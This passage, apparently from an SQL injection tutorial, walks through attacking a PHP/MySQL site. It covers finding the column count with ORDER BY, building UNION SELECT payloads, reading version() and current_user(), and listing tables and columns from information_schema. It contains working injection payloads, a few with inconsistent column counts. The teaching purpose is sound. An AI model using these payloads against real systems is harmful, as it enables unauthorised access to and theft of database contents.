    SELECT id,name,price FROM articles where id=1 ORDER BY 5, the injection 1 ORDER BY 5 will return an error since the number of columns is less than 5 in the first part of the query;
    SELECT id,name,price FROM articles where id=1 ORDER BY 3, the injection 1 ORDER BY 3 will not return an error since the number of columns is less than or equal of 3 in the first part of the query;
    SELECT id,name,price FROM articles where id=1 ORDER BY 4, the injection 1 ORDER BY 4 will return an error since the number of columns is less than 4 in the first part of the query;
Based on this dichotomic search, we know that the number of columns is 3, we can now use this information to build the final query:
1
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
Copied!
Even if this methodology provides the same number of requests for this example, it's significantly faster as soon as the number of columns grow.

Retrieving information

Now that we know the number of columns, we can retrieve information from the database. Based on the error message we received, we know that the backend database used is MySQL.
Using this information, we can force the database to perform a function or to send us information:
    the user used by the PHP application to connect to the database with current_user()
    the version of the database using version()
In order to perform this, we are going to need to replace one of the values in the previous statement (UNION SELECT 1,2,3) by the function we want to run in order to retrieve the result in the response.Make sure you always keep the right number of columns when you try to retrieve information.
You can for example access the following URL's to retrieve this information:
We are now able to retrieve information from the database and retrieve arbitrary content. In order to retrieve information related to the current application, we are going to need:
    the name of all tables in the current database
    the name of the column for the table we want to retrieve information from
MySQL provides tables containing meta-information about the database, tables and columns available since the version 5 of MySQL. We are going to use these tables to retrieve the information we need to build the final request. These tables are stored in the database information_schema. The following queries can be used to retrieve:
    the list of all tables: SELECT table_name FROM information_schema.tables
    the list of all columns: SELECT column_name FROM information_schema.columns
By mixing these queries and the previous URL, you can guess what page to access to retrieve information:
    the list of tables: 1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables
    the list of columns: 1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns
The problem, is that these requests provide you a raw list of all tables and columns, but to query the database and retrieve interesting information, you will need to know what column belongs to what table. Hopefully, the table information_schema.columns stores table names:
1
SELECT table_name,column_name FROM information_schema.columns
Copied!
To retrieve this information, we can either
    put tablename and columnname in different parts of the injection: 1 UNION SELECT 1, table_name, column_name,4 FROM information_schema.columns
    concatenate tablename and columnname in the same part of the injection using the keyword CONCAT: 1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns. ':' is used to be able to easily split the results of the query.
If you want to easily retrieve information from the resulting page using a regular expression (if you want to write an SQL injection script for example), you can use a marker in the injection: ``1 UNION SELECT 1,concat('^^^',table_name,':',column_name,'^^^') FROM information_schema.columns`. It then is really easy to match the result in the page.
You have now a list of tables and their columns, the first tables and columns are the default MySQL tables. At the end of the HTML page, we can see a list of tables that are likely to be used by the current application: